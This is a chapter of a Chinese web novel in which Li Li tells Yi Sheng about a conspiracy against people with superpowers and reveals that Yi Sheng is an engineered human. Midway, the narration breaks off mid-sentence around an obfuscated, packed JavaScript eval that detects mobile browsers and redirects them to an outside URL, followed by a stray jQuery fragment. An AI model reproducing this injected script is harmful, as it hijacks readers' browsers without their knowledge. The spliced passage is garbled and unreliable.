“两个人的故事，你要先听哪一个？”


    “我该从哪里开始说起呢？”


    李梨自然坐下，纤指一挥，地面上的水瞬间消失。底下白色的瓷砖露出，易生才意识到这里的地面一直是白色的。


    “这里——”


    “吕明应该给你提过，多年前有人觉醒了异能。物质类和精神类。”


    李梨打断易生的话，抬起手，虚虚指向她。手指方向轻挪，易生的视线也随之飘走。


    “你和你身边的那个人，物质类。”


    手腕翻转，易生对上李梨认真的眼。


    “我，精神类。”


    李梨突然无奈眨眼，易生皱眉的样子，明显就是不相信自己的话。


    别人说多少遍，其实都不如亲近者提一句。


    李梨有些生气，视线越过易生，赌气道：“行了，我不说了，让她亲自来给你说吧。”


    333并没有理会李梨的邀请，她正低着头，动也不动看着手中的照片。


    照片被揉得有些变形，那时令她心生喜悦的脸，如今在照片上扭曲褶皱，成了她不愿回忆的噩梦。


    泪水从眼中掉落，滴在吕昀脸上，模糊了他脸上的冷漠。


    “林杨，别想了，他没有在那份文件上签字。”李梨叹气，如果没有当年那件事情，谁能想到这两人怎么会落得这般下场。


    命运将肋骨植入，再取出时，那肋骨早已沾着血肉。


    333没有回应李梨的话，与其说没有回应，不如说她不想回应。


    她收起照片，走到易生身后.


    “我的来历不重要，我是谁也不重要。你可以继续叫我333，也可以叫我林杨。”


    易生终于看清了333的脸。她的脸灰蒙蒙一片，除了鼻尖的一点红，好像谁都无法在她的脸上留下什么。


    李梨沉默片刻：“你现在清醒吗？”


    空旷中无人回答。


    “好吧。”李梨深吸一口气，看向易生，“我来讲。”


    “我们的悲剧，起源于一份文件，一场阴谋。”


    “作为异能者，我们的能力比普通人想象中的还要厉害，千里之外取人首级，扭曲人的记忆。这些正常人类不能做到的，我们可以。”


    “我们的能力在一些人眼中，是对付异种无可替换的利器。那段时间，这片大陆上几乎没有异种的身影。”


    “饭饱思□□这句话，适用于所有时代。”李梨嘲讽扯扯嘴角，“我们的能力，竟然成为了那些高层互相斗争的武器。”


    “刚开始，大家还信任高层，觉得要收割的性命，都是为非作歹的恶徒。直到后来……”


    李梨难得露出迷茫的神色。


    满室的腥臭味，密不透风的地下室角落，一个不到十岁的小孩满身鲜血，呆呆看着来取她性命的几人。


    她抿抿嘴，双眼快速眨动。


    几十年来，原来自己还记得。


    “有些人，真的该死吗？那些还没有来得及干什么的人，真的凭借那斩草除根的名号，就可以随便被别人取了性命吗？”


    “然后，你们就开始反抗，不愿意再做那些高层的走狗。？”


    李梨点头。


    “他们渐渐开始发现我们阳奉阴违。于是，一份文件被制造出来。那份文件的复本，就在我这里。”


    李梨冷哼，将背包中黄色文件袋扔在地上：“知道的是文件，不知道的还是以为这是联盟高层的花名册呢！”


    “没有这份签满联盟政府高层名字的文件，我们也不至于走到今天这一步。”


    易生翻开文件，纸上几乎没有空隙，密密麻麻签满了名字。她打眼一看，几个熟悉的名字塞在角落。


    文件看着不薄，少说也有几百页。手指捻动，每一页，都签满了名字。


    “这上面没有吕家人的名字。”


    易生抬头，看向333。


    “所以吕明才会变成那样。”李梨撇嘴。


    那样狡诈，将一切都算得明明白白。


    “这份文件的目的很简单。欺骗我们这些有异能的人出任务，然后利用异种将我们一网打尽。一箭三雕的好办法，即使不道德，但他们怎么可能放过这样的好机会。”


    “一箭三雕？”


    易生不明白李梨的话。


    “是的。异能，有异能的人，还有一些人。”李梨坐直了身体，“那些为联盟研发武器的科学家，也是联盟的目标。”


    “易生，你知道什么是仿生人吗？”


    易生摇头，李梨看了333，缓缓开口：


    “仿生人似人又非人。挑选、培育、重组优等的基因，组成一个新的人类。这样的人，就叫仿生人。他们的出现，曾经在一定程度上挽救了人类岌岌可危的生育率。”


    “可是后来，一个观念的提出，让制造仿生人道路和初衷，彻底扭曲。”


    李梨欺身上前，握住她的双手，表情是前所未有的认真。


    古老的记忆在李梨眼前不断闪过，她的心跳不由加速。多少年的忍耐，多少不明真相的骂名，几乎要熄灭的心火，终于在今天重新燃烧。


    “那些人想要一个厉害的，听话的、能完全为他们所用的‘人’。”


    “而你，易生，你就是他们计划中，唯一成功的‘人’。”


    “南部基地现在推行的新型武器，原料来自于林杨身上的每一寸骨血。而你身上的每一寸细胞，来自哈德的一次次实验后最完美的成果。”


    *


    霍钟察觉到周边环境不对，手向后一捞，捞了个空。


    他猛地转头，身后已空无一人，只有无尽的黑色默默注视着他。


    他的双手不自然垂下，无力感从内心涌出，藤蔓一样深深地将他包裹。


    从离开冰屋前一天晚上起，不详的预感就在他心头萦绕。他想过不幸有天会降临，但没想到，变故，会出现的怎么快。


    这种精神类的能力，他知道的，只有一人拥有，那就是上下的头领——李梨。


    那个和说服陈东，又指示陈东杀死Nancy的女人。现在像魔鬼一样，又卷土重来，想要带走易生。


    霍钟起身，想起霍梦告诉他的破解之法


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254067|192868||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。然后，他闭上双眼，毫不犹豫直直向后倒去。


    无论如何，他都不能再看着易生被仇恨所捆绑，让那些人将自己的过去安在易生身上，操纵易生让她朝无边悬崖前进。


    “咚——”


    再次醒来，霍钟面前只有一片白。那白无边无际，任何污渍在这片白中都十分显眼。


    唯一的黑，在白色中无处遁形。


    他上前两步，看清楚那人后，马上加快步伐。


    “易生！”


    “易生！”


    同样喊出声的，还有也是从另一个空间出来的黄气。黄气渐渐加快步频，随着她一步步靠近，她脸上的表情变了：与好友重逢的喜悦一点点褪去，换上面孔的是，是雨雾一样悲伤的表情。


    她顿住脚步，没敢再向前一步。


    她的面前，刚好是那个人的正脸。


    霍钟没来得急看黄气，直直朝坐在地上的易生走去。


    越靠近，霍钟心中越空。


    易生背对着他定定坐在那里，身边摊开几层白纸，上面有字，但霍钟离得太远，有些看不清。


    她一点一点翻看着文件，看过的纸张就随意扔到一旁，似乎是不值得仔细收好的垃圾。她看着，时不时停下来，卡顿一般，又重复扔掉纸张的动作。


    霍钟步伐不由加快，几乎要跑起来。


    “易生……”


    霍钟进入联盟军五年，所在的第九小队的任务数量至少在三位数以上，形形色色的人都见过。每次出任务，他都不敢看那些被异种摧毁家园、被迫妻离子散、被迫直面死亡的人的脸。


    太痛苦了。


    而这样的痛苦，现在完完全全、毫不掩饰地出现在易生脸上。


    易生抬头，眼中是无尽的空洞，泪水汹涌，却没有一丁点声音，仿佛只是一个会流泪的机器，在无人角落中，默默流泪。


    “霍钟。”


    易生的声音沙哑，却沉静得可怕。


    “霍家也参与对初代联盟军的围剿，你知道吗？”


    霍钟瞳孔紧缩，下意识摇摇头，但眼神中一闪而过的惊讶还是被易生清楚察觉。


    “易生，初代联盟军的事情和你没关系。你不要让自己陷进去。我们回去，问我舅舅到底发生了什么？”


    易生嗤笑，第一次觉得霍钟这么天真。


    “抛开联盟军的事情不说。”她捂住脸，随即放下手，因痛苦有些扭曲的面孔在脸有些颤抖。


    “你知道哈德太太是怎么死的吗？”


    手上的文件悄无声息被揉得起皱，易生睫毛扑闪，泪珠瞬间滑落。


    霍钟突然意识到易生要说出口的内容，他本能地摇头，想要阻止易生说出真相，那个足以改变所有人内心的真相。


    “霍钟，你听好了。”


    易生咬着牙，有些猩红的瞳孔缩到极致。那个人，那个名字，仿佛被她咬住，再一寸一寸咀嚼，直到那人的每一寸都变得稀烂，才能稍稍减弱她对那个人的恨意。


    “杀死我母亲的，是吕明。那个雨夜，是她亲手，将毒药灌进哈德太太的嘴里。”